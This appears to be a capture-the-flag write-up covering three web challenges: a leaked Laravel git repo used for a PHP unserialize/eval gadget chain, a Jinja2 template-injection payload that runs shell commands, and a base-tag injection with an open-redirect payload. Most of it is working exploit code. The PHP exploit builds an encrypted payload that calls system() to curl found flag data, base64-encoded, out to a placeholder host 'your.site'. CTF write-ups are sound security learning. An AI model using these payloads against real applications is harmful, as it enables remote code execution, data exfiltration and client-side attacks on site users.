environ

Git repo leaked inside /backup (dumpable by replacing .git by backup in GitTools' Dumper). Inside the repo, the source code could be seen by seeing the logs (git show HEAD~3) and the APP_KEY (git show HEAD~1).

Entry point:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class DashboardController extends Controller
{
    public function index(Request $request)
    {
        return view('good');
    }

    public function decode(Request $request, $secret)
    {
        $key = env('APP_KEY');
        $cipher = "AES-256-CBC";
        $iv = substr(env('APP_KEY'), 0, 16);
        $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); // Here!
        var_dump($secret_message);
    }

}

Class we could jump to execute code:

<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;

class YourChain
{
    /**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @return mixed
     */
    // public function handle(Request $request, Closure $next)
    // {
    //     return $next($request);
    // }

    public $inject;
    function __construct(){
    }
    function __wakeup(){
        if(isset($this->inject))
        {
            if(isset($this->inject[5])){
                eval($this->inject[5]);
            }
            
        }
    }
}

Exploit:

<?php

namespace App\Http\Middleware;

class YourChain
{
    public $inject;
    function __construct(){
    }
    function __wakeup(){
        if(isset($this->inject))
        {
            if(isset($this->inject[5])){
                eval($this->inject[5]);
            }
            
        }
    }
}

$payload = [1,1,1,1,1, 'system(\'curl http://your.site/$(grep -ri ctf{ /var/www | base64 | tr -d "\n")\');'];

$obj = new YourChain();
$obj->inject = $payload;
echo serialize($obj) . "\n";

$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";
$iv = substr($key, 0, 16);
$cipher = "AES-256-CBC";

$secret = serialize($obj);
echo "Secret to be encoded => " . $secret . "\n";

// Encrypt
$enc_message = openssl_encrypt($secret, $cipher, $key, 0, $iv);
echo "Encoded secret => " . $enc_message . "\n";

// Decrypt
$secret_message = openssl_decrypt($enc_message, $cipher, $key, 0, $iv);
echo "Decoded secret => " . $secret_message . "\n";

echo "inject[5] => " . $payload[5] . "\n";

// unserialize($secret_message); // Debug locally

?>

http-for-pros

GET /?content={{request|attr(request.args.app)|attr((request.args.baja*2,'globals',request.args.baja*2)|join)|attr((request.args.baja*2,'getitem',request.args.baja*2)|join)((request.args.baja*2,request.args.built,request.args.baja*2)|join)|attr((request.args.baja*2,'getitem',request.args.baja*2)|join)((request.args.baja*2,request.args.imp,request.args.baja*2)|join)('os')|attr(request.args.p)(request.args.cmd)|attr('read')()}}&baja=_&app=application&built=builtins&imp=import&p=popen&cmd=cat+flag

cross-me

ip2decimal

title=<base/href=//ip2decimal/&description=anything

By setting this base, everything rendered after the title would be requested to the provided IP, including some JS files. Then, querying the referer page (127.0.0.1:1234/index.php?page=post&id=X) gave us the flag.

Extra

If XSS hadn’t been possible in that domain and cookie was not SameSite (like this writeup), an open redirect was also possible:

title=<base/href=//ip2decimal/&description=<style/onload=location=1//